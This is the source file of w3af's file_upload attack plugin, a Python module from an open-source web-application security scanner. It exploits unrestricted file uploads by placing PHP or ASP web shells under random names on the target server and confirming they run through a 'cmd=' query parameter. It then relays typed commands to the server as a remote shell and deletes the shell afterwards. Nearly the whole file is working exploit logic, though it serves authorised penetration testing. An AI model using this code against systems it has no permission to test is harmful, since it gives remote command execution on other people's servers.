PageRenderTime 48ms CodeModel.GetById 20ms RepoModel.GetById 0ms app.codeStats 0ms

/w3af/plugins/attack/file_upload.py

https://github.com/andresriancho/w3af
Python | 224 lines | 164 code | 9 blank | 51 comment | 2 complexity | b44520e4295d60eadbcb6d30acc5cf41 MD5 | raw file
  1. """
  2. file_upload.py
  3. Copyright 2006 Andres Riancho
  4. This file is part of w3af, http://w3af.org/ .
  5. w3af is free software; you can redistribute it and/or modify
  6. it under the terms of the GNU General Public License as published by
  7. the Free Software Foundation version 2 of the License.
  8. w3af is distributed in the hope that it will be useful,
  9. but WITHOUT ANY WARRANTY; without even the implied warranty of
  10. MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
  11. GNU General Public License for more details.
  12. You should have received a copy of the GNU General Public License
  13. along with w3af; if not, write to the Free Software
  14. Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
  15. """
  16. import w3af.core.controllers.output_manager as om
  17. import w3af.plugins.attack.payloads.shell_handler as shell_handler
  18. from w3af.core.data.kb.exec_shell import ExecShell
  19. from w3af.core.data.fuzzer.utils import rand_alpha
  20. from w3af.core.controllers.exceptions import BaseFrameworkException
  21. from w3af.core.controllers.plugins.attack_plugin import AttackPlugin
  22. from w3af.core.controllers.misc.io import NamedStringIO
  23. from w3af.plugins.attack.payloads.decorators.exec_decorator import exec_debug
  24. class file_upload(AttackPlugin):
  25. """
  26. Exploit applications that allow unrestricted file uploads inside the webroot.
  27. :author: Andres Riancho (andres.riancho@gmail.com)
  28. """
  29. def __init__(self):
  30. AttackPlugin.__init__(self)
  31. def get_attack_type(self):
  32. """
  33. :return: The type of exploit, SHELL, PROXY, etc.
  34. """
  35. return 'shell'
  36. def get_kb_location(self):
  37. """
  38. This method should return the vulnerability name (as saved in the kb)
  39. to exploit. For example, if the audit.os_commanding plugin finds an
  40. vuln, and saves it as:
  41. kb.kb.append( 'os_commanding' , 'os_commanding', vuln )
  42. Then the exploit plugin that exploits os_commanding
  43. ( attack.os_commanding ) should return 'os_commanding' in this method.
  44. """
  45. return ['file_upload']
  46. def _generate_shell(self, vuln_obj):
  47. """
  48. :param vuln_obj: The vuln to exploit.
  49. :return: True is a shell object based on the param vuln was created ok.
  50. """
  51. # Check if we really can execute commands on the remote server
  52. exploit_url = self._verify_vuln(vuln_obj)
  53. if exploit_url is not None:
  54. # Set shell parameters
  55. shell_obj = FileUploadShell(vuln_obj, self._uri_opener,
  56. self.worker_pool, exploit_url)
  57. return shell_obj
  58. else:
  59. return None
  60. def _verify_vuln(self, vuln_obj):
  61. """
  62. This command verifies a vuln. This is really hard work! :P
  63. :param vuln_obj: The vuln to exploit.
  64. :return : True if vuln can be exploited.
  65. """
  66. if not vuln_obj.get_mutant().get_fuzzable_request().get_file_vars():
  67. return None
  68. url = vuln_obj.get_url()
  69. extension = url.get_extension()
  70. for file_content, file_name in self._get_web_shells(extension):
  71. exploit_url = self._upload_shell_and_confirm_exec(vuln_obj,
  72. file_content,
  73. file_name)
  74. if exploit_url is not None:
  75. return exploit_url
  76. # If we got here, there is nothing positive to report
  77. return None
  78. def _upload_shell_and_confirm_exec(self, vuln_obj, file_content, file_name):
  79. """
  80. :return: True if we were able to upload and the remote server actually
  81. executes the remote file.
  82. """
  83. mutant = vuln_obj.get_mutant()
  84. mutant = mutant.copy()
  85. # Create a file that will be uploaded
  86. file_handler = NamedStringIO(file_content, file_name)
  87. mutant.set_token_value(file_handler)
  88. # For the files which are not in the target, set something smart.
  89. mutant.get_dc().smart_fill()
  90. # Upload the file
  91. self._uri_opener.send_mutant(mutant)
  92. # Call the uploaded script with an empty value in cmd parameter
  93. # this will return the shell_handler.SHELL_IDENTIFIER if success
  94. dst = vuln_obj['file_dest']
  95. exploit_url = dst.get_domain_path().url_join(file_name)
  96. exploit_url.querystring = u'cmd='
  97. response = self._uri_opener.GET(exploit_url)
  98. if shell_handler.SHELL_IDENTIFIER in response.get_body():
  99. return exploit_url
  100. return None
  101. def _get_web_shells(self, extension):
  102. """
  103. :yield: Tuples with file_content and file_name for web shells.
  104. """
  105. for shell_str, orig_extension in shell_handler.get_webshells(extension):
  106. # If the webshell was webshell.php this will return a file_name
  107. # containing kgiwjxh.php (8 rand and the extension)
  108. file_name = '%s.%s' % (rand_alpha(8), orig_extension)
  109. yield shell_str, file_name
  110. # Now we want to return the webshell content <?php ... ?> but in a
  111. # file with the extension that the upload URL had. This makes our
  112. # chances of getting access a little greater
  113. file_name = '%s.%s' % (rand_alpha(8), extension)
  114. yield shell_str, file_name
  115. def get_root_probability(self):
  116. """
  117. :return: This method returns the probability of getting a root shell
  118. using this attack plugin. This is used by the "exploit *"
  119. function to order the plugins and first try to exploit the
  120. more critical ones. This method should return 0 for an exploit
  121. that will never return a root shell, and 1 for an exploit that
  122. WILL ALWAYS return a root shell.
  123. """
  124. return 0.8
  125. def get_long_desc(self):
  126. """
  127. :return: A DETAILED description of the plugin functions and features.
  128. """
  129. return """
  130. This plugin exploits insecure file uploads and returns a shell. It's
  131. rather simple, using an html form the plugin uploads the corresponding
  132. webshell (php, asp, etc.) verifies that the shell is working, and if
  133. everything is working as expected the user can start typing commands.
  134. No configurable parameters exist.
  135. """
  136. class FileUploadShell(ExecShell):
  137. def __init__(self, vuln, uri_opener, worker_pool, exploit_url):
  138. super(FileUploadShell, self).__init__(vuln, uri_opener, worker_pool)
  139. self._exploit_url = exploit_url
  140. def get_exploit_url(self):
  141. return self._exploit_url
  142. @exec_debug
  143. def execute(self, command):
  144. """
  145. This method is called when a user writes a command in the shell and
  146. hits enter.
  147. Before calling this method, the framework calls the generic_user_input
  148. method from the shell class.
  149. :param command: The command to handle ( ie. "read", "exec", etc ).
  150. :return: The result of the command.
  151. """
  152. to_send = self.get_exploit_url()
  153. to_send.querystring = u'cmd=' + command
  154. response = self._uri_opener.GET(to_send)
  155. return shell_handler.extract_result(response.get_body())
  156. def end(self):
  157. msg = 'File upload shell is going to delete the webshell that was'\
  158. ' uploaded before.'
  159. om.out.debug(msg)
  160. file_to_del = self.get_exploit_url().get_file_name()
  161. try:
  162. self.unlink(file_to_del)
  163. except BaseFrameworkException as e:
  164. msg = 'File upload shell cleanup failed with exception: "%s".'
  165. om.out.error(msg % e)
  166. else:
  167. msg = 'File upload shell cleanup complete; successfully removed'\
  168. ' file: "%s".' % file_to_del
  169. om.out.debug(msg)
  170. def get_name(self):
  171. return 'file_upload'
  172. def __reduce__(self):
  173. """
  174. Need to define this method since the Shell class defines it, and we have
  175. a different number of __init__ parameters.
  176. """
  177. return self.__class__, (self._vuln, None, None, self._exploit_url)